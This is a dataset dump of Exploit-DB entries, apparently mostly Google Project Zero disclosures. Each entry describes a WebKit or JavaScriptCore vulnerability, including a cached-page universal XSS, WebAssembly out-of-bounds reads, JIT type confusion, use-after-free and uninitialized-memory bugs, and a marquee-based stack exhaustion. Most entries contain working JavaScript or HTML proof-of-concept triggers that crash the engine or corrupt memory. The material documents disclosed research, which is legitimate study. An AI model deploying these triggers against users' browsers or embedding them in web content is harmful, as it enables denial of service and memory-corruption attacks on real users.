deardaniel/secdata-raw huggingface dataset:
Exploit-DB #47453
Description: WebKit - Universal XSS Using Cached Pages
Type: dos
Platform: multiple
Date: 2019-10-01
Author: Google Security Research

Exploit:
VULNERABILITY DETAILS
```
void FrameLoader::detachChildren()
{
[...]
    SubframeLoadingDisabler subframeLoadingDisabler(m_frame.document()); // ***1***

    Vector<Ref<Frame>, 16> childrenToDetach;
    childrenToDetach.reserveInitialCapacity(m_frame.tree().childCount());
    for (Frame* child = m_frame.tree().lastChild(); child; child = child->tree().previousSibling())
        childrenToDetach.uncheckedAppend(*child);
    for (auto& child : childrenToDetach)
        child->loader().detachFromParent();
}
```

When a cached page is being restored, and the page that's being navigated away is not cacheable,
there exists a time frame during which two documents are attached to the same frame. If an attacker
finds a way to run JS during this time frame, she will be able to use one of the documents to
execute JavaScript in the context of the other one.

One possible call stack that might lead to JS execution is:
```
a child frame's unload handler
...
ContainerNode::disconnectDescendantFrames()
Document::prepareForDestruction()
FrameLoader::clear()
FrameLoader::open()
```

By the time `FrameLoader::clear` is called, child frames are usually already disconnected from the
document via
```
FrameLoader::detachChildren()
FrameLoader::setDocumentLoader()
FrameLoader::transitionToCommitted()
```

However, the attacker can initiate a new page load inside `detachChildren` to bypass
`SubframeLoadingDisabler` and create a new child frame. Note that it won't cancel the cached page
load.

The attack has a restriction that significantly limits its applicability -- a victim page should
load a (potentially sandboxed) <iframe> with attacker-controlled content, so the attacker's JS has
a chance to run inside `Document::prepareForDestruction`. This is the case, for example, for online
translators.


VERSION
WebKit revision 246194
It's unclear whether the bug is exploitable in Safari 12.1.1. The repro case seem to have an issue
with a nested `showModalDialog` call.


REPRODUCTION CASE
The test case again relies on `showModalDialog` to perform synchronous page loads. Moreover, the
code is wrapped inside a `showModalDialog` call to keep a user gesture token active throughout its
execution.


CREDIT INFORMATION
Sergei Glazunov of Google Project Zero


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47453.zip
Exploit-DB #44859
Description: WebKit - WebAssembly Compilation Info Leak
Type: dos
Platform: multiple
Date: 2018-06-08
Author: Google Security Research

Exploit:
<!--
There is an out-of-bounds read when compiling WebAssembly source buffers in WebKit. When a source buffer is compiled, it is first copied into a read-only buffer by the functuion getWasmBufferFromValue. This function returns the code buffer as follows:

return arrayBufferView ? static_cast<uint8_t*>(arrayBufferView->vector()) : static_cast<uint8_t*>(arrayBuffer->impl()->data());

If the source buffer is a view (DataView or TypedArray), arrayBufferView->vector() is returned. The vector() method returns the start of the data in the buffer, including any offset. However, the function createSourceBufferFromValue copies the output of this function as follows:

memcpy(result.data(), data + byteOffset, byteSize);

This means that if the buffer is a view, the offset is added to the buffer twice before this is copied. This could allow memory off the heap to be read out of the source buffer, either though parsing exceptions or data sections when they are copied. A minimal PoC for the issue is:

var b2 = new ArrayBuffer(1000);
var view = new Int8Array(b2, 700);
var mod = new WebAssembly.Module(a);

An HTML file the consistently crashes Safari is attached.
-->

<html><body><script>
for(var q = 0; q < 100; q++){
var i = Math.random();
i = Math.round(i*0x20000000);
i = Math.abs(i);
var b2 = new Uint8Array( i);
console.log("i" + i);
var j = Math.random();
j = j*i;
j = Math.round(j);
j = Math.abs(j);
console.log("j"+j)
var view2 = new DataView(b2.buffer,j);
try{
var mod = new WebAssembly.Module(view2);
}catch(e){
console.log(e);
}
}
</script></body></html>
Exploit-DB #44427
Description: WebKit - WebAssembly Parsing Does not Correctly Check Section Order
Type: dos
Platform: multiple
Date: 2018-04-09
Author: Google Security Research

Exploit:
When a WebAssembly binary is parsed in ModuleParser::parse, it is expected to contain certain sections in a certain order, but can also contain custom sections that can appear anywhere in the binary. The ordering check validateOrder() does not adequately check that sections are in the correct order when a binary contains custom sections.

static inline bool validateOrder(Section previous, Section next)
{
    if (previous == Section::Custom)
        return true;
    return static_cast<uint8_t>(previous) < static_cast<uint8_t>(next);
}

If the previous section was a custom section, the check always returns true, even if the section is otherwise out of order. This means any number of sections can be parsed from a binary, any number of times in any order. This leads to a number of possible overflows and type confusion bugs, as parsing assumes most sections are unique and in the right order.

The attached html file causes a crash in Safari, the wasm file is attached as well. This particular use of the bug causes an overflow in the function vector.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44427.zip
Exploit-DB #12401
Description: WebKit 532.5 - Stack Exhaustion
Type: dos
Platform: multiple
Date: 2010-04-26
Author: Mathias Karlsson

Exploit:
<html>
<!----
Tested Webkit:
AppleWebKit/531.9 (Safari 4.0.3)
AppleWebKit/531.21.8 (Safari 4.0.4)
AppleWebKit/532.5 (Chrome 4.1.249)

Tested platform:
Microsoft Windows 7

Note:
This also causes an fatal error in Opera 10.51, however Opera does not seem to run WebKit(?).


http://h.ackack.net/
------>
<script>
loop();
function loop()
{
	setInterval(doit,0);
}
function doit()
{
	var b="<marquee>";
	document.write(b);
	setInterval(loop,0);
}
</script>
</html>
Exploit-DB #45911
Description: WebKit JIT - 'ByteCodeParser::handleIntrinsicCall' Type Confusion
Type: dos
Platform: multiple
Date: 2018-11-29
Author: Google Security Research

Exploit:
/*
    case ArrayPushIntrinsic: {
        ...

        if (static_cast<unsigned>(argumentCountIncludingThis) >= MIN_SPARSE_ARRAY_INDEX)
            return false;

        ArrayMode arrayMode = getArrayMode(m_currentInstruction[OPCODE_LENGTH(op_call) - 2].u.arrayProfile, Array::Write);
        
        ...
    }

This code always assumes that the current instruction is an op_call instruction. But that code can be reached from op_get_by_id or op_get_by_val instructions using getters. As an op_get_by_val instruction is smaller than an op_call instruction in size, this also can lead to an OOB read.

Note that the handlers for ArraySliceIntrinsic, ArrayIndexOfIntrinsic and ArrayPopIntrinsic have the same pattern.

PoC:
*/

Array.prototype.__defineGetter__('a', Array.prototype.push);

function opt() {
    let arr = new Array(1, 2, 3, 4);
    arr['a' + ''];
}

for (let i = 0; i < 1000; i++) {
    opt();
}
Exploit-DB #46071
Description: WebKit JSC - 'AbstractValue::set' Use-After-Free
Type: dos
Platform: multiple
Date: 2019-01-02
Author: Google Security Research

Exploit:
<!--
void AbstractValue::set(Graph& graph, RegisteredStructure structure)
{
    RELEASE_ASSERT(structure);
    
    m_structure = structure;

    m_arrayModes = asArrayModes(structure->indexingType());
    m_type = speculationFromStructure(structure.get());
    m_value = JSValue();
    
    checkConsistency();
    assertIsRegistered(graph);
}

It works out m_arrayModes using structure->indexingType() instead of structure->indexingMode(). As structure->indexingType() masks out the CopyOnWrite flag, which indicates that the butterfly of the array is immutable, needing copy-on-write, the wrong information about the array can be propagated. As a result, it's able to write into the immutable butterfly (JSImmutableButterfly) of a CoW array. And this can lead to UaF as 
writing into an immutable butterfly can be used to bypass write barriers.

I also noticed that the most calls to asArrayModes are using structure->indexingType(). I think that those should be fixed too.

PoC:
-->

// ./jsc --useConcurrentJIT=false ~/test.js

function set(arr, value) {
    arr[0] = value;
}

function getImmutableArrayOrSet(get, value) {
    let arr = [1];
    if (get)
        return arr;

    set(arr, value);  // This inlinee is for having checkArray not take the paths using the structure comparison.
    set({}, 1);
}

function main() {
    getImmutableArrayOrSet(true);

    for (let i = 0; i < 100; i++) {
        getImmutableArrayOrSet(false, {});
    }

    let arr = getImmutableArrayOrSet(true);
    print(arr[0] === 1);
}

main();

PoC 2 (UaF):
<script>

function sleep(ms) {
    let s = new Date();
    while (new Date() - s < ms) {

    }
}

function mark() {
    for (let i = 0; i < 40; i++) {
        new ArrayBuffer(1024 * 1024 * 1);
    }
}

function set(arr, value) {
    arr[0] = value;
}

function getImmutableArrayOrSet(get, value) {
    let arr = [1];
    if (get)
        return arr;

    set(arr, value);
    set({}, 1);
}

function main() {
    getImmutableArrayOrSet(true);

    for (let i = 0; i < 10000; i++)
        getImmutableArrayOrSet(false, {});

    sleep(500);

    let arr = getImmutableArrayOrSet(true);

    mark();
    getImmutableArrayOrSet(false, []);
    mark();

    setTimeout(() => {
        try {
            alert(arr[0]);
        } catch (e) {
            alert(e);
        }
    }, 200);
}

main();

</script>
Exploit-DB #42376
Description: WebKit JSC - 'ArgumentsEliminationPhase::transform' Incorrect LoadVarargs Handling
Type: dos
Platform: multiple
Date: 2017-07-25
Author: Google Security Research

Exploit:
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1262

Here is a snippet of ArgumentsEliminationPhase::transform
    case LoadVarargs:
        ...
        if (candidate->op() == PhantomNewArrayWithSpread || candidate->op() == PhantomSpread) {
            ...
            if (argumentCountIncludingThis <= varargsData->limit) {
                storeArgumentCountIncludingThis(argumentCountIncludingThis);
                // store arguments
                ...
            }

            node->remove();
            node->origin.exitOK = canExit;
            break;
        }

Whether or not the "argumentCountIncludingThis <= varargsData->limit" condition is satisfied, it removes the |node| variable and exits the switch statement. So in this case the condition is not satisfied, the arguments object created by the following code(CreateDirectArguments in the PoC) may have uninitialized values and length.

PoC:
-->

const kArgsLength = 0x101;

let buggy = null;
function inlineFunc() {
    if (arguments.length != kArgsLength) {
        buggy = arguments;
    }
}

class ClassForInine extends inlineFunc {
}

function sleep(ms) {
    let start = new Date();
    while (new Date() - start < ms);
}

function main() {
    let args = new Array(kArgsLength);
    args.fill(333 + 1);
    args = args.join(', ');

    let opt = new Function(`(() => {
        new ClassForInine(${args});
    })();`);

    for (let i = 0; i < 0x100000; i++) {
        opt();

        if (i === 0x3000)
            sleep(1000);

        if (buggy) {
            print('buggy.length: ' + buggy.length);
            break;
        }
    }

    for (let i = 0, n = buggy.length; i < n; i++) {
        print(buggy[i]);
    }
}

main();
Exploit-DB #42374
Description: WebKit JSC - 'arrayProtoFuncSplice' Uninitialized Memory Reference
Type: dos
Platform: multiple
Date: 2017-07-25
Author: Google Security Research

Exploit:
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1234

Here's a snippet of arrayProtoFuncSplice.

EncodedJSValue JSC_HOST_CALL arrayProtoFuncSplice(ExecState* exec)
{
    ...

            result = JSArray::tryCreateForInitializationPrivate(vm, exec->lexicalGlobalObject()->arrayStructureForIndexingTypeDuringAllocation(ArrayWithUndecided), actualDeleteCount);
            if (UNLIKELY(!result)) {
                throwOutOfMemoryError(exec, scope);
                return encodedJSValue();
            }

            // The result can have an ArrayStorage indexing type if we're having a bad time.
            bool isArrayStorage = hasAnyArrayStorage(result->indexingType());
            bool success = false;
            if (UNLIKELY(isArrayStorage)) {
                static const bool needToFillHolesManually = true;
                success = copySplicedArrayElements<needToFillHolesManually>(exec, scope, result, thisObj, actualStart, actualDeleteCount);
            } else {
                ASSERT(hasUndecided(result->indexingType()));
                static const bool needToFillHolesManually = false;
                success = copySplicedArrayElements<needToFillHolesManually>(exec, scope, result, thisObj, actualStart, actualDeleteCount);
            }
            if (UNLIKELY(!success)) {
                ASSERT(scope.exception());
                return encodedJSValue();
            }
    ...
}

|result| has uninitalized values. If a GC is triggered before those values get initalized, the garbage collector will refer the uninitialized values.

PoC:
-->

function gc() {
    for (let i = 0; i < 4; i++)
        new ArrayBuffer(0x1000000);
}

Array.prototype.__defineGetter__(1000, () => 0);

for (let i = 0; i < 0x1000; i++)
    new Array(0x10).fill([{}, {}, {}, {}]);

for (let i = 0; i < 0x1000; i++) {
    let x = {length: 0x10};
    x.__defineGetter__(0, () => gc());
    Array.prototype.splice.call(x, 0);
}
Exploit-DB #42955
Description: WebKit JSC - 'BytecodeGenerator::emitGetByVal' Incorrect Optimization (2)
Type: dos
Platform: multiple
Date: 2017-10-04
Author: Google Security Research

Exploit:
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1319

The following PoC bypasses the fix for the  issue 1263 (https://bugs.chromium.org/p/project-zero/issues/detail?id=1263)

PoC:
-->

function f() {
    let o = {};
    for (let i in {xx: 0}) {
        for (i of [0]) {

        }

        print(o[i]);
    }
}

f();
Exploit-DB #42373
Description: WebKit JSC - 'DFG::ByteCodeParser::flush(InlineStackEntry* inlineStackEntry)' Incorrect Scope Register Handling
Type: dos
Platform: multiple
Date: 2017-07-25
Author: Google Security Research

Exploit:
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1234

Here's a snippet of DFG::ByteCodeParser::flush(InlineStackEntry* inlineStackEntry).

void flush(InlineStackEntry* inlineStackEntry)
{
	...
    if (m_graph.needsScopeRegister())
        flush(m_codeBlock->scopeRegister()); <<--- (a)
}

At (a), it should flush the scope register of |inlineStackEntry->m_codeBlock| instead of |m_codeBlock|. But it doesn't. As a result, the scope register of |inlineStackEntry->m_codeBlock| may have an incorrect offset in the stack layout phase.

PoC:
-->

function f() {
    (function () {
    	eval('1');
    	f();
    }());

    throw 1;
}

f();
Exploit-DB #42375
Description: WebKit JSC - 'JSArray::appendMemcpy' Uninitialized Memory Copy
Type: dos
Platform: multiple
Date: 2017-07-25
Author: Google Security Research

Exploit:
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1236

WebKit: JSC: JSArray::appendMemcpy uninitialized memory copy

Here's a snippet of JSArray::appendMemcpy.

bool JSArray::appendMemcpy(ExecState* exec, VM& vm, unsigned startIndex, JSC::JSArray* otherArray)
{
    auto scope = DECLARE_THROW_SCOPE(vm);

    if (!canFastCopy(vm, otherArray))
        return false;

    IndexingType type = indexingType();
    IndexingType copyType = mergeIndexingTypeForCopying(otherArray->indexingType());
    if (type == ArrayWithUndecided && copyType != NonArray) {
        if (copyType == ArrayWithInt32)
            convertUndecidedToInt32(vm);
        else if (copyType == ArrayWithDouble)
            convertUndecidedToDouble(vm);
        else if (copyType == ArrayWithContiguous)
            convertUndecidedToContiguous(vm);
        else {
            ASSERT(copyType == ArrayWithUndecided);
            return true;
        }
    } else if (type != copyType)
        return false;

    ...

    if (type == ArrayWithDouble)
        memcpy(butterfly()->contiguousDouble().data() + startIndex, otherArray->butterfly()->contiguousDouble().data(), sizeof(JSValue) * otherLength);
    else
        memcpy(butterfly()->contiguous().data() + startIndex, otherArray->butterfly()->contiguous().data(), sizeof(JSValue) * otherLength);

    return true;
}

The method considers the case where |this|'s type is ArrayWithUndecided, but does not consider whether |otherArray|'s type is ArrayWithUndecided that may have uninitialized data.
So, when the memcpy function is called, |otherArray|'s uninitialized memory may be copied to |this| which has a type.

PoC:
-->

function optNewArrayAndConcat() {
    let a = [,,,,,,,,,];
    return Array.prototype.concat.apply(a);
}

function main() {
    Array.prototype.constructor = {
        [Symbol.species]: function () {
            return [{}];
        }
    };

    gc();

    for (let i = 0; i < 0x10000; i++) {
        optNewArrayAndConcat().fill({});
    }

    gc();

    for (let i = 0; i < 0x20000; i++) {
        let res = optNewArrayAndConcat();
        if (res[0])
            print(res.toString());
    }
}

main();
Exploit-DB #46072
Description: WebKit JSC - 'JSArray::shiftCountWithArrayStorage' Out-of-Bounds Read/Write
Type: dos
Platform: multiple
Date: 2019-01-02
Author: Google Security Research

Exploit:
/*
bool JSArray::shiftCountWithArrayStorage(VM& vm, unsigned startIndex, unsigned count, ArrayStorage* storage)
{
    unsigned oldLength = storage->length();
    RELEASE_ASSERT(count <= oldLength);
    
    // If the array contains holes or is otherwise in an abnormal state,
    // use the generic algorithm in ArrayPrototype.
    if ((storage->hasHoles() && this->structure(vm)->holesMustForwardToPrototype(vm, this)) 
        || hasSparseMap() 
        || shouldUseSlowPut(indexingType())) {
        return false;
    }

    if (!oldLength)
        return true;
    
    unsigned length = oldLength - count;
    
    storage->m_numValuesInVector -= count;
    storage->setLength(length);


Considering the comment, I think the method is supposed to prevent an array with holes from going through to the code "storage->m_numValuesInVector -= count". But that kind of arrays actually can get there by only having the holesMustForwardToPrototype method return false. Unless the array has any indexed accessors on it or Proxy objects in the prototype chain, the method will just return false. So "storage->m_numValuesInVector" can be controlled by the user.

In the PoC, it changes m_numValuesInVector to 0xfffffff0 that equals to the new length, making the hasHoles method return false, leading to OOB reads/writes in the JSArray::unshiftCountWithArrayStorage method.

PoC:
*/

function main() {
    let arr = [1];

    arr.length = 0x100000;
    arr.splice(0, 0x11);

    arr.length = 0xfffffff0;
    arr.splice(0xfffffff0, 0, 1);
}

main();
Exploit-DB #42377
Description: WebKit JSC - 'ObjectPatternNode::appendEntry' Stack Use-After-Free
Type: dos
Platform: multiple
Date: 2017-07-25
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1256

Here's a snippet of ObjectPatternNode::appendEntry.

void appendEntry(const JSTokenLocation&, ExpressionNode* propertyExpression, DestructuringPatternNode* pattern, ExpressionNode* defaultValue, BindingType bindingType)
{
    m_targetPatterns.append(Entry{ Identifier(), propertyExpression, false, pattern, defaultValue, bindingType });
}

Here's the definition of Entry.

struct Entry {
    const Identifier& propertyName;
    ExpressionNode* propertyExpression;
    bool wasString;
    DestructuringPatternNode* pattern;
    ExpressionNode* defaultValue;
    BindingType bindingType;
};

The Identifier object created by "Identifier()" is in the stack. So it will get freed in the end of the appendEntry method.

PoC:

var {[a]: b, ...[]} = {};
Exploit-DB #42189
Description: WebKit JSC - arrayProtoFuncSplice does not Initialize all Indices
Type: dos
Platform: multiple
Date: 2017-06-16
Author: Google Security Research

Exploit:
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1218&desc=2

Here's a snippet of arrayProtoFuncSplice.

EncodedJSValue JSC_HOST_CALL arrayProtoFuncSplice(ExecState* exec)
{
    ...
            result = JSArray::tryCreateForInitializationPrivate(vm, exec->lexicalGlobalObject()->arrayStructureForIndexingTypeDuringAllocation(ArrayWithUndecided), actualDeleteCount);
            if (!result)
                return JSValue::encode(throwOutOfMemoryError(exec, scope));
            
            for (unsigned k = 0; k < actualDeleteCount; ++k) {
                JSValue v = getProperty(exec, thisObj, k + actualStart);
                RETURN_IF_EXCEPTION(scope, encodedJSValue());
                if (UNLIKELY(!v)) {
                    continue;
                }
                result->initializeIndex(vm, k, v);
            }
    ...
}

|JSArray::tryCreateForInitializationPrivate| will return an uninitialized JSArray. So the next routine must clear its all indices. But the routine skips holes in |thisObj|. This is fine under normal circumstances because the type of |result| will be ArrayWithUndecided, unless you're having a bad time. We can force |result|'s type to ArrayWithSlowPutArrayStorage by using |JSGlobalObject::haveABadTime|.

PoC:
-->

function gc() {
    for (let i = 0; i < 0x10; i++)
        new ArrayBuffer(0x1000000);
}

Array.prototype.__defineGetter__(0x1000, () => 1);

gc();

for (let i = 0; i < 0x100; i++) {
    new Array(0x100).fill(1234.5678);
}

gc();

print(new Array(0x100).splice(0));
Exploit-DB #45912
Description: WebKit JSC - BytecodeGenerator::hoistSloppyModeFunctionIfNecessary Does not Invalidate the 'ForInContext' Object
Type: dos
Platform: multiple
Date: 2018-11-29
Author: Google Security Research

Exploit:
/*
This is simillar to  issue 1263 . When hoisting a function onto the outer scope, if it overwrites the iteration variable for a for-in loop it should invalidate the corresponding ForInContext object, but it doesn't. As a result, an arbitrary object can be passed as the property variable to the op_get_direct_pname handler which uses the property variable directly as a string object without any check.

PoC:
*/

function trigger() {
    let o = {a: 1};
    for (var k in o) {
        {
            k = 0x1234;

            function k() {

            }
        }

        o[k];
    }
}

trigger();